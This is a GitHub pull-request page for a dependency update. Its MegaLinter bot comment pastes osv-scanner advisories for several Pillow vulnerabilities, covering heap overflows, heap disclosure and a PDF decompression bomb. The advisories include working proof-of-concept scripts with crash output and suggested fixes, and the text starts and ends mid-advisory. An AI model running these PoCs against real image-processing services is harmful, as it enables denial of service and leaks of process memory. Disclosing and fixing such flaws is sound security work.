chore(deps): update yxtay/.github digest to 4cf361c - #494
Conversation
✅MegaLinter analysis: Success
Notices
See detailed reports in MegaLinter artifacts Your project could benefit from a custom flavor, which would allow you to run only the linters you need, and thus improve runtime performances. (Skip this info by defining
|
✅
|
| Descriptor | Linter | Files | Fixed | Errors | Max errors | Warnings | Elapsed time |
|---|---|---|---|---|---|---|---|
| ✅ COPYPASTE | jscpd | yes | no | no | 0.38s | ||
| ✅ DOCKERFILE | hadolint | 1 | 0 | 0 | 0.17s | ||
| ✅ JSON | prettier | 1 | 0 | 0 | 0 | 0.24s | |
| ✅ JSON | v8r | 1 | 0 | 0 | 1.25s | ||
| ✅ REPOSITORY | betterleaks | yes | no | no | 0.82s | ||
| ✅ REPOSITORY | git_diff | yes | no | no | 0.0s | ||
| osv-scanner | yes | 1 | 67 | 13.5s | |||
| ✅ REPOSITORY | secretlint | yes | no | no | 0.61s | ||
| ✅ REPOSITORY | syft | yes | no | no | 1.16s | ||
| ✅ REPOSITORY | trivy | yes | no | no | 8.33s | ||
| ✅ REPOSITORY | trivy-sbom | yes | no | no | 0.06s | ||
| ✅ REPOSITORY | trufflehog | yes | no | no | 2.06s | ||
| ✅ YAML | prettier | 11 | 0 | 0 | 0 | 0.39s | |
| ✅ YAML | v8r | 11 | 0 | 0 | 4.45s | ||
| ✅ YAML | yamllint | 11 | 0 | 0 | 0.54s |
Detailed Issues
⚠️ REPOSITORY / osv-scanner - 1 error
bytes before the row
W = 1024 -> writes 4096 bytes before the row
W = 65536 -> writes 256 KiB before the row
W = 1000000 -> writes about 4 MiB before the row
Pillow's image creation guard currently limits xsize to roughly
INT_MAX / 4 - 1, so the theoretical upper bound for this RGBA underwrite is
2,147,483,640 bytes before the destination row pointer. In practice, the
usable range depends on memory availability, allocator layout, and process heap
state.
Two other documented APIs reach the same sink:
# Image.crop() path
left = INT_MIN + 2
Image.new("RGBA", (2, 1)).crop((left, 0, left + 2, 1))
# Image.alpha_composite() path, via its internal crop()
base = Image.new("RGBA", (2, 1))
over = Image.new("RGBA", (2, 1), (0x41, 0x42, 0x43, 0x44))
base.alpha_composite(over, dest=(left, 0))Image.crop() keeps right - left small, so the Python decompression-bomb
check allows it. src/libImaging/Crop.c then computes wrapped paste
coordinates and calls ImagingPaste().
PoC
The following standalone script exercises all three public API paths. Save it
as b021_poc.py and run it with paste, crop, or alpha.
#!/usr/bin/env python3
import argparse
import sys
from PIL import Image
INT_MIN = -(1 << 31)
def rgba_pattern(width):
out = bytearray()
for i in range(width):
out += bytes((0x41 + (i % 26), 0x42, 0x43, 0x44))
return bytes(out)
def main():
parser = argparse.ArgumentParser()
parser.add_argument(
"variant",
choices=("paste", "crop", "alpha"),
nargs="?",
default="paste",
)
parser.add_argument("-w", "--width", type=int, default=2)
args = parser.parse_args()
width = args.width
src = Image.frombytes("RGBA", (width, 1), rgba_pattern(width))
if args.variant == "paste":
box = ((1 << 31) - width, 0, INT_MIN, 1)
dst = Image.new("RGBA", (max(8, width), 1), (0, 0, 0, 0))
print(f"variant=paste box={box}")
print(f"expected C dst offset={-4 * width}, write_size={4 * width}")
sys.stdout.flush()
dst.paste(src, box)
print("paste returned; first row:", dst.tobytes().hex())
elif args.variant == "crop":
left = INT_MIN + width
box = (left, 0, left + width, 1)
print(f"variant=crop box={box}")
sys.stdout.flush()
out = src.crop(box)
print("crop returned; output:", out.tobytes().hex())
else:
dest = (INT_MIN + width, 0)
dst = Image.new("RGBA", (max(8, width), 1), (0, 0, 0, 0))
print(f"variant=alpha dest={dest}")
sys.stdout.flush()
dst.alpha_composite(src, dest=dest)
print("alpha_composite returned; first row:", dst.tobytes().hex())
sys.stdout.flush()
if __name__ == "__main__":
main()Run against an ASAN build:
env ASAN_OPTIONS=detect_leaks=0 ASAN_SYMBOLIZER_PATH=/usr/bin/llvm-symbolizer \
python b021_poc.py paste
env ASAN_OPTIONS=detect_leaks=0 ASAN_SYMBOLIZER_PATH=/usr/bin/llvm-symbolizer \
python b021_poc.py crop
env ASAN_OPTIONS=detect_leaks=0 ASAN_SYMBOLIZER_PATH=/usr/bin/llvm-symbolizer \
python b021_poc.py alphaObserved ASAN signature for the direct Image.paste() path:
ERROR: AddressSanitizer: heap-buffer-overflow
WRITE of size 8
paste /out/src/src/libImaging/Paste.c:59
ImagingPaste /out/src/src/libImaging/Paste.c:323
_paste /out/src/src/_imaging.c:1461
0x... is located 8 bytes before 32-byte region
On non-ASAN Pillow 12.2.0 and local 12.3.0.dev0, the direct minimal
Image.paste() trigger returns from paste() and then the process aborts
during cleanup with:
double free or corruption (out)
Aborted (core dumped)
Observed ASAN signature for the Image.crop() and Image.alpha_composite()
paths:
ERROR: AddressSanitizer: heap-buffer-overflow
WRITE of size 8
paste /out/src/src/libImaging/Paste.c:59
ImagingPaste /out/src/src/libImaging/Paste.c:323
ImagingCrop /out/src/src/libImaging/Crop.c:57
_crop /out/src/src/_imaging.c:1090
Suggested fix
Avoid signed overflow in paste/crop coordinate arithmetic. Use checked
arithmetic or a wider type before calculating widths and clipped endpoints.
For example, reject boxes whose endpoint subtraction cannot be represented
cleanly, and clip using non-overflowing comparisons:
int64_t xsize64 = (int64_t)dx1 - dx0;
int64_t ysize64 = (int64_t)dy1 - dy0;
if (xsize64 < 0 || ysize64 < 0 || xsize64 > INT_MAX || ysize64 > INT_MAX) {
return ImagingError_ValueError("bad box");
}ImagingCrop() should receive the same treatment for sx1 - sx0,
dx0 = -sx0, and dx1 = imIn->xsize - sx0.
Impact
This is a heap out-of-bounds write in Pillow's native C extension, reachable
through documented public image APIs.
Applications are impacted if an untrusted user can control image operation
coordinates passed to Pillow, for example crop boxes, paste boxes, or overlay
positions. The bytes written in the direct Image.paste() variant are copied
from the source image, so attacker-controlled source pixels can influence the
out-of-bounds write. For RGBA, the write is a backward heap underwrite whose
offset and length are both 4 * source_width, bounded in practice by successful
image allocation and heap layout.
warning: Package 'pillow@9.5.0' is vulnerable to 'CVE-2026-59205' (also known as 'BIT-pillow-2026-59205', 'PYSEC-2026-3453', 'GHSA-9hw9-ch79-4vh6').
= CVE-2026-59205: Pillow: Controlled heap out-of-bounds write in Pillow ImageCmsTransform.apply() via output mode mismatch
= ### Summary
Pillow's public ImageCms.ImageCmsTransform.apply(im, imOut) API can trigger
controlled native heap corruption when the caller supplies an output image whose
mode does not match the transform's declared output mode.
For example, a transform built as RGBA -> RGBA can be applied to an L output
image. Pillow checks dimensions only, then calls LittleCMS with the output row
pointer. LittleCMS writes RGBA-sized rows into a 1-byte-per-pixel L image row.
Details
src/PIL/ImageCms.py:ImageCmsTransform.apply() accepts an optional caller
supplied imOut:
def apply(self, im, imOut=None):
if imOut is None:
imOut = Image.new(self.output_mode, im.size, None)
self.transform.apply(im.getim(), imOut.getim())
imOut.info["icc_profile"] = self.output_profile.tobytes()
return imOutIf imOut is provided, Pillow does not check:
im.mode == self.input_mode
imOut.mode == self.output_mode
The C wrapper in src/_imagingcms.c unwraps both image cores and only checks
that the output dimensions are at least as large as the input dimensions:
static int
pyCMSdoTransform(Imaging im, Imaging imOut, cmsHTRANSFORM hTransform) {
if (im->xsize > imOut->xsize || im->ysize > imOut->ysize) {
return -1;
}
for (i = 0; i < im->ysize; i++) {
cmsDoTransform(hTransform, im->image[i], imOut->image[i], im->xsize);
}
pyCMScopyAux(hTransform, imOut, im);
return 0;
}findLCMStype() maps RGB, RGBA, and RGBX transform modes to LittleCMS
TYPE_RGBA_8, which writes 4 bytes per pixel:
case IMAGING_MODE_RGB:
case IMAGING_MODE_RGBA:
case IMAGING_MODE_RGBX:
return TYPE_RGBA_8;So with a transform declared as RGBA -> RGBA, LittleCMS writes 4 * width
bytes to each output row. If the supplied output image is mode L, Pillow only
allocated 1 * width bytes for that row.
For width 4096:
destination row allocation: 4096 bytes
LittleCMS write size: 16384 bytes
overflow: ~12288 bytes past the row
The bug does not require a large image. Width 8 was enough to corrupt heap
metadata. At width 8, apply() returned to Python and printed after; glibc
detected the corrupted heap later during cleanup.
PoC
Tiny heap corruption trigger:
from PIL import Image, ImageCms
srgb = ImageCms.createProfile("sRGB")
transform = ImageCms.buildTransform(srgb, srgb, "RGBA", "RGBA")
im = Image.new("RGBA", (8, 1), (0x41, 0x42, 0x43, 0x44))
out = Image.new("L", (8, 1), 0)
print("before", flush=True)
transform.apply(im, out)
print("after")Observed locally on Pillow 12.3.0.dev0:
before
after
free(): invalid next size (normal)
Aborted (core dumped)
Controlled overwrite evidence PoC:
from PIL import Image, ImageCms
srgb = ImageCms.createProfile("sRGB")
transform = ImageCms.buildTransform(srgb, srgb, "RGBA", "RGBA")
im = Image.new("RGBA", (4096, 1), (0x41, 0x42, 0x43, 0x44))
out = Image.new("L", (4096, 1), 0)
transform.apply(im, out)Run under gdb:
gdb -q --batch -ex run -ex bt --args \
python3 b022_controlled.pyObserved on Pillow 12.3.0.dev0:
Program received signal SIGSEGV, Segmentation fault.
___pthread_mutex_lock (mutex=mutex@entry=0x4443424144434241)
#1 _cmsLockPrimitive (m=0x4443424144434241)
#2 defMtxLock (id=0x4443424144434241, mtx=0x4443424144434241)
#3 _cmsLockMutex (ContextID=0x4443424144434241, mtx=0x4443424144434241)
#4 cmsSaveProfileToIOhandler(...)
#5 cmsSaveProfileToMem(...)
#6 cms_profile_tobytes (...) at src/_imagingcms.c:152
0x4443424144434241 is the attacker-controlled source pixel pattern
b"ABCDABCD" interpreted as a little-endian pointer-sized value.
Using source pixels (1, 2, 3, 4) similarly produced a faulting pointer of
0x403020104030201, matching the repeated pixel bytes.
Impact
This is a heap out-of-bounds write in Pillow's native ImageCms extension,
reachable through public API.
Applications are impacted if untrusted users can control ImageCms transform
parameters and/or provide the output image object passed to
ImageCmsTransform.apply(). The source image pixels influence the bytes written
out of bounds.
Suggested fix
Validate modes before calling into the native transform:
def apply(self, im, imOut=None):
if im.mode != self.input_mode:
raise ValueError("input mode mismatch")
if imOut is None:
imOut = Image.new(self.output_mode, im.size, None)
elif imOut.mode != self.output_mode:
raise ValueError("output mode mismatch")
self.transform.apply(im.getim(), imOut.getim())
imOut.info["icc_profile"] = self.output_profile.tobytes()
return imOutThe C extension should also defensively reject mismatched image modes before
calling cmsDoTransform().
warning: Package 'pillow@9.5.0' is vulnerable to 'CVE-2026-59197' (also known as 'BIT-pillow-2026-59197', 'PYSEC-2026-3454', 'GHSA-xj96-63gp-2gmr').
= CVE-2026-59197: Pillow: Heap out-of-bounds write in ImageFilter.RankFilter via integer overflow in ImagingExpand
= ### Summary
Pillow's public rank-filter API can trigger a native heap out-of-bounds write
when given a very large odd filter size.
Minimal public API trigger:
from PIL import Image, ImageFilter
im = Image.new("L", (3, 3), 128)
im.filter(ImageFilter.MedianFilter(4294967295))ImageFilter.RankFilter.filter() calls image.expand(size // 2, size // 2)
before rank-filter size validation. With size = 4294967295, the
expansion margin is 2147483647 (INT_MAX). ImagingExpand() then computes
the output dimensions with unchecked signed int arithmetic. On tested builds,
this wraps to a tiny output image and the border-expansion loop writes past the
allocation.
This is reachable through documented public classes (RankFilter,
MedianFilter, MinFilter, and MaxFilter). No private API, ctypes, or custom
Python object is needed.
Details
Current src/PIL/ImageFilter.py:
class RankFilter(Filter):
def filter(self, image):
if image.mode == "P":
msg = "cannot filter palette images"
raise ValueError(msg)
image = image.expand(self.size // 2, self.size // 2)
return image.rankfilter(self.size, self.rank)The expand() call is made before image.rankfilter(...).
Current src/libImaging/Filter.c:ImagingExpand() does not check output-size
overflow:
if (xmargin < 0 && ymargin < 0) {
return (Imaging)ImagingError_ValueError("bad kernel size");
}
imOut = ImagingNewDirty(
imIn->mode, imIn->xsize + 2 * xmargin, imIn->ysize + 2 * ymargin
);For a 3x3 image and xmargin = ymargin = INT_MAX, the computed output size
wraps to 1x1 on tested builds. The following loop still uses the huge margin:
for (x = 0; x < xmargin; x++) {
imOut->image[yout][x] = imIn->image[yin][0];
}src/libImaging/RankFilter.c does contain checks that would reject this size:
if (!(size & 1)) {
return (Imaging)ImagingError_ValueError("bad filter size");
}
if (size > INT_MAX / size || size > INT_MAX / (size * (int)sizeof(FLOAT32))) {
return (Imaging)ImagingError_ValueError("filter size too large");
}But those checks are reached only after RankFilter.filter() has already
called image.expand(...).
Mode "L" produces 1-byte OOB stores. Modes "I" and "F" produce 4-byte OOB
stores. The repeated value written OOB is copied from the source image border
pixel, so attacker-supplied image bytes can influence it. This is a sequential
overwrite, not an arbitrary-address write.
PoC
Minimal ASAN crash PoC:
from PIL import Image, ImageFilter
im = Image.new("L", (3, 3), 128)
im.filter(ImageFilter.MedianFilter(4294967295))Observed on local Pillow 12.3.0.dev0 ASAN target:
ERROR: AddressSanitizer: heap-buffer-overflow
WRITE of size 1
ImagingExpand /out/src/src/libImaging/Filter.c:99
_expand_image /out/src/src/_imaging.c:1100
0 bytes after a 1-byte allocation
4-byte write variant with source pixel loaded from normal image bytes:
from io import BytesIO
from PIL import Image, ImageFilter
SIZE = 4294967295
PIXEL = 0x41424344
src = BytesIO()
Image.new("I", (3, 3), PIXEL).save(src, format="TIFF")
im = Image.open(BytesIO(src.getvalue()))
im.load()
assert im.mode == "I"
assert im.getpixel((0, 0)) == PIXEL
im.filter(ImageFilter.MedianFilter(SIZE))Observed ASAN signature:
ERROR: AddressSanitizer: heap-buffer-overflow
WRITE of size 4
ImagingExpand /out/src/src/libImaging/Filter.c:101
_expand_image /out/src/src/_imaging.c:1100
0 bytes after a 4-byte allocation
Version checks:
Pillow 1.0: ASAN heap-buffer-overflow WRITE confirmed at runtime
Pillow 12.3.0.dev0: ASAN heap-buffer-overflow WRITE confirmed at runtime
Pillow 1.0 through 12.2.0: source sweep confirmed the vulnerable public
validation order and unchecked ImagingExpand arithmetic
upstream/main at 9c1097c861420c77af53c7c9af2a1382e2bfaa8b: still affected
Impact
It is a heap out-of-bounds write in Pillow's native C extension, reachable
through public image-filter classes.
Applications are impacted if an untrusted user can control the rank-filter
size/configuration passed to Pillow. If the image is also attacker-supplied, the
source pixel value written out of bounds can be attacker-influenced, including
4-byte values for mode "I" images.
Possible fix
Validate the rank-filter size before calling image.expand(...), and harden
ImagingExpand() against invalid margins and overflow:
if (xmargin < 0 || ymargin < 0) {
return (Imaging)ImagingError_ValueError("bad kernel size");
}
if (xmargin > (INT_MAX - imIn->xsize) / 2 ||
ymargin > (INT_MAX - imIn->ysize) / 2) {
return (Imaging)ImagingError_ValueError("bad kernel size");
}warning: Package 'pillow@9.5.0' is vulnerable to 'CVE-2026-54058' (also known as 'BIT-pillow-2026-54058', 'PYSEC-2026-3493', 'GHSA-62p4-gmf7-7g93').
= CVE-2026-54058: Pillow: Out-of-bounds read via attacker-controlled row stride on Pillow's mmap path (McIdas AREA files)
= ## Summary
When Pillow loads an uncompressed image whose tile uses the raw codec and a mode in Image._MAPMODES, and the image was opened from a filename, it memory-maps the file and builds the image's row pointers directly into the mapping via PyImaging_MapBuffer (src/map.c). The per-row spacing (stride) is taken from the tile arguments. map.c validates offset + ysize*stride <= buffer_len but never checks that stride is at least the natural row width xsize * pixelsize.
The McIdas AREA plugin (McIdasImagePlugin.py) derives stride, offset, xsize, and ysize directly from attacker-controlled 32-bit header words with no validation. By supplying a stride far smaller than the row width, an attacker makes each row pointer read xsize*pixelsize bytes that run past the mapped region. Accessing the pixels (e.g. Image.tobytes(),
getpixel, convert, save) then reads adjacent process memory (information disclosure) or faults (SIGBUS, denial of service).
Complete Code Trace
Step 1: McIdasImageFile._open - turns attacker header words into image size, file offset, and row stride with no validation.
# src/PIL/McIdasImagePlugin.py:41-70
s = self.fp.read(256)
if not _accept(s) or len(s) != 256: # _accept: prefix == b"\x00\x00\x00\x00\x00\x00\x00\x04"
raise SyntaxError(...)
self.area_descriptor = w = [0, *struct.unpack("!64i", s)] # w[1..64] = signed BE int32, ALL attacker-controlled
if w[11] == 1:
mode = rawmode = "L" # pixelsize 1, in _MAPMODES
elif w[11] == 2:
mode = rawmode = "I;16B" # pixelsize 2, in _MAPMODES
...
self._mode = mode
self._size = w[10], w[9] # (xsize, ysize) <-- attacker
offset = w[34] + w[15] # <-- attacker
stride = w[15] + w[10] * w[11] * w[14] # <-- attacker (set w[14]=0, w[15]=1 => stride=1)
self.tile = [
ImageFile._Tile("raw", (0, 0) + self.size, offset, (rawmode, stride, 1))
]Step 2: ImageFile.load (mmap branch) - selects mmap and delegates to map_buffer.
# src/PIL/ImageFile.py:322-348
if use_mmap: # use_mmap = self.filename and len(self.tile) == 1
decoder_name, extents, offset, args = self.tile[0]
if (decoder_name == "raw" and isinstance(args, tuple) and len(args) >= 3
and args[0] == self.mode and args[0] in Image._MAPMODES):
if offset < 0: # only lower-bound guard on offset
raise ValueError("Tile offset cannot be negative")
with open(self.filename) as fp:
self.map = mmap.mmap(fp.fileno(), 0, access=mmap.ACCESS_READ)
if offset + self.size[1] * args[1] > self.map.size(): # == offset + ysize*stride; NO stride>=linesize check
raise OSError("buffer is not large enough")
self.im = Image.core.map_buffer(
self.map, self.size, decoder_name, offset, args # args = ("L", stride, 1)
)Step 3: PyImaging_MapBuffer - builds row pointers at stride spacing into the mmap; validates everything except stride >= row width.
/* src/map.c:65-140 */
if (!PyArg_ParseTuple(args, "O(ii)sn(sii)",
&target, &xsize, &ysize, &codec, &offset, &mode_name, &stride, &ystep))
return NULL;
...
const ModeID mode = findModeID(mode_name); /* "L" */
if (stride <= 0) { /* attacker sets stride=1 (>0) -> NOT recomputed */
if (mode == IMAGING_MODE_L || mode == IMAGING_MODE_P) stride = xsize;
else if (isModeI16(mode)) stride = xsize * 2;
else stride = xsize * 4;
}
if (stride > 0 && ysize > PY_SSIZE_T_MAX / stride) {/* overflow guard only */
PyErr_SetString(PyExc_MemoryError, "Integer overflow in ysize"); return NULL;
}
size = (Py_ssize_t)ysize * stride; /* = 1*1 = 1 */
if (offset > PY_SSIZE_T_MAX - size) { ... }
...
if (offset + size > view.len) { /* 1 + 1 = 2 <= 256 -> PASSES */
PyErr_SetString(PyExc_ValueError, "buffer is not large enough");
PyBuffer_Release(&view); return NULL;
}
im = ImagingNewPrologueSubtype(mode, xsize, ysize, sizeof(ImagingBufferInstance));
/* im->linesize = xsize * pixelsize = 200000 (the REAL per-row read width) */
/* setup file pointers -- NO check that stride >= im->linesize */
if (ystep > 0) {
for (y = 0; y < ysize; y++) {
im->image[y] = (char *)view.buf + offset + y * stride; /* row points into mmap, spacing=1 */
}
} else { ... }im->linesize (the number of bytes any consumer reads per row) is xsize * pixelsize = 200000, but the row pointers are only stride = 1 byte apart and the buffer is only offset + ysize*stride = 2 bytes "claimed". Nothing reconciles the two.
Step 4: pixel access (Image.tobytes() → raw encoder copy1) - reads linesize bytes from im->image[0], i.e. xsize bytes starting at view.buf + offset, running far past the mmap.
/* the raw "L" packer copies linesize (=xsize) bytes per row from im->image[y];
for row 0 that is view.buf+1 .. view.buf+1+200000, vs a 256-byte file. */Chain Summary
SOURCE: McIdas AREA header words w[9],w[10],w[11],w[14],w[15],w[34] (Image.open on a path)
↓ McIdasImagePlugin._open: stride = w[15]+w[10]*w[11]*w[14] -> attacker sets stride=1 [McIdasImagePlugin.py:66]
↓ tile = ("raw", (0,0,xsize,1), offset, ("L", 1, 1)) [McIdasImagePlugin.py:68]
GADGET: ImageFile.load mmap branch -- only checks offset+ysize*stride<=len <- BUG: no stride>=linesize check [ImageFile.py:343]
↓ core.map_buffer(map, (xsize,1), "raw", offset, ("L",1,1)) [ImageFile.py:346]
SINK: PyImaging_MapBuffer: im->image[0] = view.buf + offset + 0*stride; linesize=xsize [map.c:134]
↓ Image.tobytes() raw "L" encoder reads linesize (=xsize) bytes from im->image[0]
IMPACT: reads xsize bytes from a tiny mmap -> OOB read of adjacent process memory (leak) or SIGBUS (DoS)
Proof of Concept
See attached poc.zip
Impact on a Parent Application
Any application that opens image files supplied by users from a path on disk (the common pattern: save upload to a temp file, then Image.open(path)), has the default plugin set (McIdas is registered by default), and subsequently reads/returns/re-encodes the decoded pixels (thumbnailing, format conversion, serving a preview), is exposed:
- Information disclosure (High): the decoded "image" contains bytes of the worker process's adjacent heap/mapped memory, which the app then serves or stores - potentially leaking secrets, credentials, or other users' data.
- Denial of service (High): a larger
xsizereliably crashes the worker with SIGBUS.
Suggested fix
Core fix in src/map.c (PyImaging_MapBuffer): reject offset < 0 and stride < im->linesize. Defense-in-depth in McIdasImagePlugin._open: reject offset < 0 or stride < xsize*pixelsize .
warning: Package 'pillow@9.5.0' is vulnerable to 'CVE-2026-59198' (also known as 'BIT-pillow-2026-59198', 'PYSEC-2026-3494', 'GHSA-fj7v-r99m-22gq').
= CVE-2026-59198: Pillow TGA RLE encoder can serialize up to ~57 KB of adjacent heap data into generated images
= ### Summary
Pillow's TGA RLE encoder reads past its row buffer when saving a mode "1"
image. Adjacent process heap bytes can be copied into the generated TGA file.
The bug is reachable through the public save API:
im.save(out, format="TGA", compression="tga_rle")Older affected Pillow versions use the equivalent public option rle=True.
For mode "1", Pillow allocates a packed row buffer of ceil(width / 8)
bytes, but ImagingTgaRleEncode() treats the row as one full byte per pixel.
The maximum valid TGA width is 65535. At that width:
allocated packed row buffer: 8192 bytes
encoder byte-offset walk: 65535 bytes
maximum OOB window per row: 57343 bytes
On non-ASAN Pillow 12.2.0, the public-only maximum-width PoC below serialized
57297 bytes from distinct out-of-bounds source offsets into one returned TGA,
covering 99.92% of the maximum adjacent heap window. No heap grooming, ctypes,
private API, or malformed input file was used. The disclosure is emitted across
many TGA packet payload copies of at most 128 bytes each, not one large
memcpy().
Details
src/PIL/TgaImagePlugin.py allows mode "1" TGA output and selects the
tga_rle encoder when RLE compression is requested.
src/encode.c:_setimage() allocates the row buffer using the packed-bit
formula:
state->bytes = (state->bits * state->xsize + 7) / 8;
state->buffer = (UINT8 *)calloc(1, state->bytes);For mode "1", state->bits == 1.
src/libImaging/TgaRleEncode.c then computes:
bytesPerPixel = (state->bits + 7) / 8;This becomes 1, and the encoder uses pixel indexes as byte offsets:
static int
comparePixels(const UINT8 *buf, int x, int bytesPerPixel) {
buf += x * bytesPerPixel;
return memcmp(buf, buf + bytesPerPixel, bytesPerPixel) == 0;
}The packet payload memcpy() later copies those out-of-bounds source bytes into
the output. Raw packets copy up to 128 contiguous bytes, while RLE packets copy
one representative byte:
memcpy(
dst, state->buffer + (state->x * bytesPerPixel - state->count), flushCount
);A width-2 mode "1" image allocates one row byte and already triggers an ASAN
heap-buffer-overflow read. Wider images increase the adjacent heap window and
the amount of heap data that can be serialized.
PoC
Minimal ASAN trigger
import io
from PIL import Image
out = io.BytesIO()
Image.new("1", (2, 1)).save(out, format="TGA", compression="tga_rle")Observed on local Pillow 12.3.0.dev0 ASAN target:
ERROR: AddressSanitizer: heap-buffer-overflow
READ of size 1
comparePixels /out/src/src/libImaging/TgaRleEncode.c:10
ImagingTgaRleEncode /out/src/src/libImaging/TgaRleEncode.c:81
0 bytes after a 1-byte allocation from _setimage
Maximum-width heap disclosure
This PoC uses one maximum-width row. It parses the generated TGA packets and
extracts only payload bytes whose source offsets were outside the allocated
packed row. Rows are avoided because they mostly repeat the same adjacent heap window.
Run the following with a standard affected Pillow installation.
import hashlib
import io
import PIL
from PIL import Image
WIDTH = 65535
ATTEMPTS = 20
ROW_BYTES = (WIDTH + 7) // 8
MAX_OOB_WINDOW = WIDTH - ROW_BYTES
def extract_oob_payload(data):
i = 18
pixel = 0
oob = bytearray()
while pixel < WIDTH:
descriptor = data[i]
i += 1
count = (descriptor & 0x7F) + 1
if descriptor & 0x80:
value = data[i]
i += 1
if pixel + count - 1 >= ROW_BYTES:
oob.append(value)
else:
values = data[i : i + count]
i += count
oob.extend(values[max(ROW_BYTES - pixel, 0) :])
pixel += count
return bytes(oob)
best = b""
for _ in range(ATTEMPTS):
out = io.BytesIO()
Image.new("1", (WIDTH, 1), 0).save(out, format="TGA", compression="tga_rle")
oob = extract_oob_payload(out.getvalue())
if len(oob) > len(best):
best = oob
with open("/tmp/max_oob_bytes.bin", "wb") as fp:
fp.write(best)
print(f"Pillow={PIL.__version__}")
print(f"packed_row_bytes={ROW_BYTES}")
print(f"maximum_oob_window={MAX_OOB_WINDOW}")
print(f"serialized_distinct_oob_offsets={len(best)}")
print(f"nonzero_oob_bytes={sum(byte != 0 for byte in best)}")
print(f"coverage={len(best) / MAX_OOB_WINDOW:.2%}")
print(f"sha256={hashlib.sha256(best).hexdigest()}")Observed on installed Pillow 12.2.0:
Pillow=12.2.0
packed_row_bytes=8192
maximum_oob_window=57343
serialized_distinct_oob_offsets=57297
nonzero_oob_bytes=54407
coverage=99.92%
Impact
This is a heap out-of-bounds read and potential information disclosure.
A maximum-width single-row image can cause nearly the full
57343-byte adjacent heap window to be incorporated into one output file.
warning: Package 'pillow@9.5.0' is vulnerable to 'CVE-2026-59200' (also known as 'BIT-pillow-2026-59200', 'PYSEC-2026-3495', 'GHSA-jjj6-mw9f-p565').
= CVE-2026-59200: Pillow: Decompression Bomb DoS via PdfParser.PdfStream.decode()
= ### Summary
PdfParser.PdfStream.decode() in Pillow's PdfParser.py calls zlib.decompress() with the bufsize parameter set to the value of the PDF stream's Length field, without any upper bound on the actual decompressed output size. Python's zlib.decompress() bufsize argument is an initial output buffer hint, not a maximum size limit — the function will expand memory until the full decompressed result is produced. A crafted PDF containing a FlateDecode-compressed stream decompresses to 1 GB of memory from a ~950 KB file, causing server OOM termination or severe degradation in any application that uses PdfParser to read untrusted PDF files.
Details
PdfStream.decode() in pdfminer/PdfParser.py reads the stream's declared Length (or DL) field from the PDF dictionary and passes it as bufsize to zlib.decompress():
# PIL/PdfParser.py — PdfStream.decode()
class PdfStream:
def decode(self) -> bytes:
try:
filter = self.dictionary[b"Filter"]
except KeyError:
return self.buf
if filter == b"FlateDecode":
try:
expected_length = self.dictionary[b"DL"]
except KeyError:
expected_length = self.dictionary[b"Length"]
return zlib.decompress(self.buf, bufsize=int(expected_length))
# ^^^^^^^^^^^^^^^^^^^^^^^^^^^^
# bufsize is an *initial buffer hint*, NOT a maximum size limit.
# zlib.decompress() allocates as much memory as needed regardless.From the Python documentation: "The bufsize parameter is used as the initial size of the output buffer." It does not cap decompression. An attacker who controls the PDF stream contents can provide a highly-compressed payload that expands to gigabytes, while setting Length to any value (including the actual compressed size) to avoid triggering format validation.
PdfParser is instantiated with a filename or file object and calls read_pdf_info() on open, which parses the xref table and makes stream objects accessible. PdfStream.decode() is reachable whenever calling code accesses a compressed stream object from the parsed PDF.
Confirmed reachable path:
with PdfParser.PdfParser("evil.pdf") as pdf:
stream_obj, _ = pdf.get_value(pdf.buf, stream_offset)
data = stream_obj.decode() # ← OOM herePoC
import zlib, tempfile, os, time
from PIL import PdfParser
# Build a minimal PDF with a 100 MB FlateDecode bomb (demo scale)
EXPAND_MB = 100
raw = b'\x00' * (EXPAND_MB * 1_000_000)
compressed = zlib.compress(raw, level=9) # ~97 KB
buf = b'%PDF-1.4\n'
o1 = len(buf); buf += b'1 0 obj\n<< /Type /Pages /Kids [] /Count 0 >>\nendobj\n'
o2 = len(buf); buf += b'2 0 obj\n<< /Type /Catalog /Pages 1 0 R >>\nendobj\n'
o3 = len(buf)
hdr = f'<< /Filter /FlateDecode /Length {len(compressed)} >>'.encode()
buf += b'3 0 obj\n' + hdr + b'\nstream\n' + compressed + b'\nendstream\nendobj\n'
xref = len(buf)
buf += b'xref\n0 4\n0000000000 65535 f \n'
for off in [o1, o2, o3]:
buf += f'{off:010d} 00000 n \n'.encode()
buf += b'trailer\n<< /Size 4 /Root 2 0 R >>\nstartxref\n' + str(xref).encode() + b'\n%%EOF\n'
print(f"PDF size: {len(buf):,} bytes ({len(buf)/1024:.1f} KB)")
with tempfile.NamedTemporaryFile(delete=False, suffix='.pdf') as f:
f.write(buf); tmpname = f.name
with PdfParser.PdfParser(tmpname) as pdf:
obj, _ = pdf.get_value(pdf.buf, o3)
t = time.time()
decoded = obj.decode()
print(f"Decoded: {len(decoded):,} bytes in {time.time()-t:.3f}s")
os.unlink(tmpname)Actual output (Pillow 12.1.1, Python 3.12):
PDF size: 97,538 bytes (95.3 KB)
Decoded: 100,000,000 bytes in 0.265s
Measured expansion:
| PDF file size | Memory allocated | Ratio | Wall time |
|---|---|---|---|
| 10 KB | 10 MB | 1,026× | 0.024 s |
| 95 KB | 100 MB | 1,028× | 0.265 s |
| 475 KB | 500 MB | 1,028× | 1.279 s |
| 950 KB | 1,000 MB (1 GB) | 1,028× | 2.668 s |
Impact
This is a denial-of-service vulnerability. Any application that uses PIL.PdfParser.PdfParser to read untrusted PDF files is affected. An unauthenticated attacker who can submit a PDF for processing can exhaust all available server memory with a ~950 KB file, causing OOM termination or service degradation affecting all concurrent users. No authentication or user interaction beyond submitting the file is required.
Note: This vulnerability is independent of CVE-2025-64512 / CVE-2025-70559 (pdfminer.six) and the companion PIL/PdfImagePlugin.py decompression issue. It exists specifically in Pillow's own PdfParser.py module, which is distinct from pdfminer.six.
Suggested fix:
MAX_DECOMPRESS_BYTES = 200 * 1024 * 1024 # 200 MB cap
def decode(self) -> bytes:
...
if filter == b"FlateDecode":
...
result = zlib.decompress(self.buf, bufsize=int(expected_length))
if len(result) > MAX_DECOMPRESS_BYTES:
msg = "Decompressed stream exceeds maximum allowed size"
raise ValueError(msg)
return resultwarning: Package 'pillow@9.5.0' is vulnerable to 'CVE-2026-59204' (also known as 'BIT-pillow-2026-59204', 'PYSEC-2026-3496', 'GHSA-vjc4-5qp5-m44j').
= CVE-2026-59204: Pillow JPEG2000 tiled decode retains a growing scratch buffer and can be used for denial of service
= ### Summary
